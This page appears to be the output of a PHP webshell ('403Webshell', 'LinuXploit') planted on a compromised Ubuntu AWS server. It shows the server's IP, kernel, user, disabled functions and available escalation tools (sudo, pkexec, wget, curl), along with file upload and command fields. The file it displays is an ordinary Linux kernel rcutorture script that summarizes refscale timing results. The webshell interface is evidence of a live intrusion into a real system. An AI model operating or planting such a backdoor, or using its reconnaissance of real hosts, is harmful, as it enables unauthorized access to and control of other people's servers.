403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/modules/6.8.0-1029-aws/build/tools/testing/selftests/rcutorture/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/modules/6.8.0-1029-aws/build/tools/testing/selftests/rcutorture/bin/kvm-recheck-refscale.sh
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0+
#
# Analyze a given results directory for refscale performance measurements.
#
# Usage: kvm-recheck-refscale.sh resdir
#
# Copyright (C) IBM Corporation, 2016
#
# Authors: Paul E. McKenney <paulmck@linux.ibm.com>

i="$1"
if test -d "$i" -a -r "$i"
then
	:
else
	echo Unreadable results directory: $i
	exit 1
fi
PATH=`pwd`/tools/testing/selftests/rcutorture/bin:$PATH; export PATH
. functions.sh

configfile=`echo $i | sed -e 's/^.*\///'`

sed -e 's/^\[[^]]*]//' < $i/console.log | tr -d '\015' |
awk -v configfile="$configfile" '
/^[ 	]*Runs	Time\(ns\) *$/ {
	if (dataphase + 0 == 0) {
		dataphase = 1;
		# print configfile, $0;
	}
	next;
}

/[^ 	]*[0-9][0-9]*	[0-9][0-9]*\.[0-9][0-9]*$/ {
	if (dataphase == 1) {
		# print $0;
		readertimes[++n] = $2;
		sum += $2;
	}
	next;
}

{
	if (dataphase == 1)
		dataphase == 2;
	next;
}

END {
	print configfile " results:";
	newNR = asort(readertimes);
	if (newNR <= 0) {
		print "No refscale records found???"
		exit;
	}
	medianidx = int(newNR / 2);
	if (newNR == medianidx * 2)
		medianvalue = (readertimes[medianidx - 1] + readertimes[medianidx]) / 2;
	else
		medianvalue = readertimes[medianidx];
	points = "Points:";
	for (i = 1; i <= newNR; i++)
		points = points " " readertimes[i];
	print points;
	print "Average reader duration: " sum / newNR " nanoseconds";
	print "Minimum reader duration: " readertimes[1];
	print "Median reader duration: " medianvalue;
	print "Maximum reader duration: " readertimes[newNR];
	print "Computed from refscale printk output.";
}'

Youez - 2016 - github.com/yon3zu
LinuXploit